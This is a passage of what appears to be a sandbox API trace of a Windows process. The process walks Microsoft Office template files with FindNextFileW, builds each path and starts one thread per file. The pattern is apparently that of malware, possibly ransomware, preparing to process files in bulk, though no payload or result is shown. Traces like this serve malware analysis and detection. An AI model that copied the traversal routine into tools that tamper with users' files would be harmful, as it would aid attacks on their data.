ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="ESSENT~1.DOT")) returned 1 [0127.577] wcscmp (_String1="EssentialLetter.dotx", _String2=".") returned 1 [0127.577] wcscmp (_String1="EssentialLetter.dotx", _String2="..") returned 1 [0127.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b05b0 [0127.577] wcscpy (in: _Dest=0x202b05b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.577] wcscat (in: _Dest=0x202b05b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.577] wcscat (in: _Dest=0x202b05b0, _Source="EssentialLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" [0127.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0127.578] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea93, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialMergeLetter.dotx", cAlternateFileName="ESSENT~2.DOT")) returned 1 [0127.579] wcscmp (_String1="EssentialMergeLetter.dotx", _String2=".") returned 1 [0127.579] wcscmp (_String1="EssentialMergeLetter.dotx", _String2="..") returned 1 [0127.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b0510 [0127.579] wcscpy (in: _Dest=0x202b0510, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.579] wcscat (in: _Dest=0x202b0510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.579] wcscat (in: _Dest=0x202b0510, _Source="EssentialMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" [0127.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0127.580] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xbc195, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="ESSENT~3.DOT")) returned 1 [0127.580] wcscmp (_String1="EssentialReport.dotx", _String2=".") returned 1 [0127.580] wcscmp (_String1="EssentialReport.dotx", _String2="..") returned 1 [0127.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0790 [0127.580] wcscpy (in: _Dest=0x202b0790, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.580] wcscat (in: _Dest=0x202b0790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.580] wcscat (in: _Dest=0x202b0790, _Source="EssentialReport.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" [0127.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0127.581] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x47014, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="ESSENT~4.DOT")) returned 1 [0127.581] wcscmp (_String1="EssentialResume.dotx", _String2=".") returned 1 [0127.581] wcscmp (_String1="EssentialResume.dotx", _String2="..") returned 1 [0127.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b06f0 [0127.581] wcscpy (in: _Dest=0x202b06f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.581] wcscat (in: _Dest=0x202b06f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.581] wcscat (in: _Dest=0x202b06f0, _Source="EssentialResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" [0127.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0127.582] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x11d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveLetter.dotx", cAlternateFileName="EXECUT~1.DOT")) returned 1 [0127.582] wcscmp (_String1="ExecutiveLetter.dotx", _String2=".") returned 1 [0127.582] wcscmp (_String1="ExecutiveLetter.dotx", _String2="..") returned 1 [0127.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0650 [0127.582] wcscpy (in: _Dest=0x202b0650, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.582] wcscat (in: _Dest=0x202b0650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.582] wcscat (in: _Dest=0x202b0650, _Source="ExecutiveLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" [0127.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0127.583] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x12042, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveMergeLetter.dotx", cAlternateFileName="EXECUT~2.DOT")) returned 1 [0127.583] wcscmp (_String1="ExecutiveMergeLetter.dotx", _String2=".") returned 1 [0127.583] wcscmp (_String1="ExecutiveMergeLetter.dotx", _String2="..") returned 1 [0127.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1730 [0127.583] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.583] wcscat (in: _Dest=0x202b1730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.585] wcscat (in: _Dest=0x202b1730, _Source="ExecutiveMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" [0127.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0127.586] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3d49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveNewsletter.dotx", cAlternateFileName="EXECUT~3.DOT")) returned 1 [0127.586] wcscmp (_String1="ExecutiveNewsletter.dotx", _String2=".") returned 1 [0127.586] wcscmp (_String1="ExecutiveNewsletter.dotx", _String2="..") returned 1 [0127.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0d30 [0127.586] wcscpy (in: _Dest=0x202b0d30, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.586] wcscat (in: _Dest=0x202b0d30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.586] wcscat (in: _Dest=0x202b0d30, _Source="ExecutiveNewsletter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" [0127.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0127.588] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xcb42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveReport.dotx", cAlternateFileName="EXECUT~4.DOT")) returned 1 [0127.588] wcscmp (_String1="ExecutiveReport.dotx", _String2=".") returned 1 [0127.588] wcscmp (_String1="ExecutiveReport.dotx", _String2="..") returned 1 [0127.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1190 [0127.588] wcscpy (in: _Dest=0x202b1190, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.588] wcscat (in: _Dest=0x202b1190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.588] wcscat (in: _Dest=0x202b1190, _Source="ExecutiveReport.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" [0127.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0127.589] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveResume.dotx", cAlternateFileName="EX9D69~1.DOT")) returned 1 [0127.589] wcscmp (_String1="ExecutiveResume.dotx", _String2=".") returned 1 [0127.589] wcscmp (_String1="ExecutiveResume.dotx", _String2="..") returned 1 [0127.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b12d0 [0127.589] wcscpy (in: _Dest=0x202b12d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.589] wcscat (in: _Dest=0x202b12d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.589] wcscat (in: _Dest=0x202b12d0, _Source="ExecutiveResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" [0127.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b12d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0127.591] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="EXPENS~1.XLT")) returned 1 [0127.591] wcscmp (_String1="ExpenseReport.xltx", _String2=".") returned 1 [0127.591] wcscmp (_String1="ExpenseReport.xltx", _String2="..") returned 1 [0127.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85bac0 [0127.591] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.591] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.591] wcscat (in: _Dest=0x1b85bac0, _Source="ExpenseReport.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" [0127.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0127.592] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAX", cAlternateFileName="")) returned 1 [0127.592] wcscmp (_String1="FAX", _String2=".") returned 1 [0127.592] wcscmp (_String1="FAX", _String2="..") returned 1 [0127.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504710 [0127.592] wcscpy (in: _Dest=0x20504710, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.592] wcscat (in: _Dest=0x20504710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.592] wcscat (in: _Dest=0x20504710, _Source="FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0127.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0127.594] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0127.594] wcscmp (_String1="FiveRules.potx", _String2=".") returned 1 [0127.594] wcscmp (_String1="FiveRules.potx", _String2="..") returned 1 [0127.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bc70 [0127.595] wcscpy (in: _Dest=0x1b85bc70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.595] wcscat (in: _Dest=0x1b85bc70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.595] wcscat (in: _Dest=0x1b85bc70, _Source="FiveRules.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" [0127.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0127.596] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba83800, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5b76030, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ba83800, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x10b563f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntroducingPowerPoint2010.potx", cAlternateFileName="INTROD~1.POT")) returned 1 [0127.597] wcscmp (_String1="IntroducingPowerPoint2010.potx", _String2=".") returned 1 [0127.597] wcscmp (_String1="IntroducingPowerPoint2010.potx", _String2="..") returned 1 [0127.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b8618b0 [0127.597] wcscpy (in: _Dest=0x1b8618b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.597] wcscat (in: _Dest=0x1b8618b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.597] wcscat (in: _Dest=0x1b8618b0, _Source="IntroducingPowerPoint2010.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" [0127.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8618b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0127.598] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0127.598] wcscmp (_String1="LoanAmortization.xltx", _String2=".") returned 1 [0127.598] wcscmp (_String1="LoanAmortization.xltx", _String2="..") returned 1 [0127.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0bf0 [0127.599] wcscpy (in: _Dest=0x202b0bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.599] wcscat (in: _Dest=0x202b0bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.599] wcscat (in: _Dest=0x202b0bf0, _Source="LoanAmortization.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" [0127.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0127.600] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianLetter.Dotx", cAlternateFileName="MEDIAN~1.DOT")) returned 1 [0127.601] wcscmp (_String1="MedianLetter.Dotx", _String2=".") returned 1 [0127.601] wcscmp (_String1="MedianLetter.Dotx", _String2="..") returned 1 [0127.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a590 [0127.601] wcscpy (in: _Dest=0x1b86a590, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.601] wcscat (in: _Dest=0x1b86a590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.601] wcscat (in: _Dest=0x1b86a590, _Source="MedianLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" [0127.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0127.602] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1955a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeFax.Dotx", cAlternateFileName="MEDIAN~2.DOT")) returned 1 [0127.602] wcscmp (_String1="MedianMergeFax.Dotx", _String2=".") returned 1 [0127.602] wcscmp (_String1="MedianMergeFax.Dotx", _String2="..") returned 1 [0127.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0b50 [0127.602] wcscpy (in: _Dest=0x202b0b50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.603] wcscat (in: _Dest=0x202b0b50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.603] wcscat (in: _Dest=0x202b0b50, _Source="MedianMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" [0127.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0127.604] FindNextFileW (in: 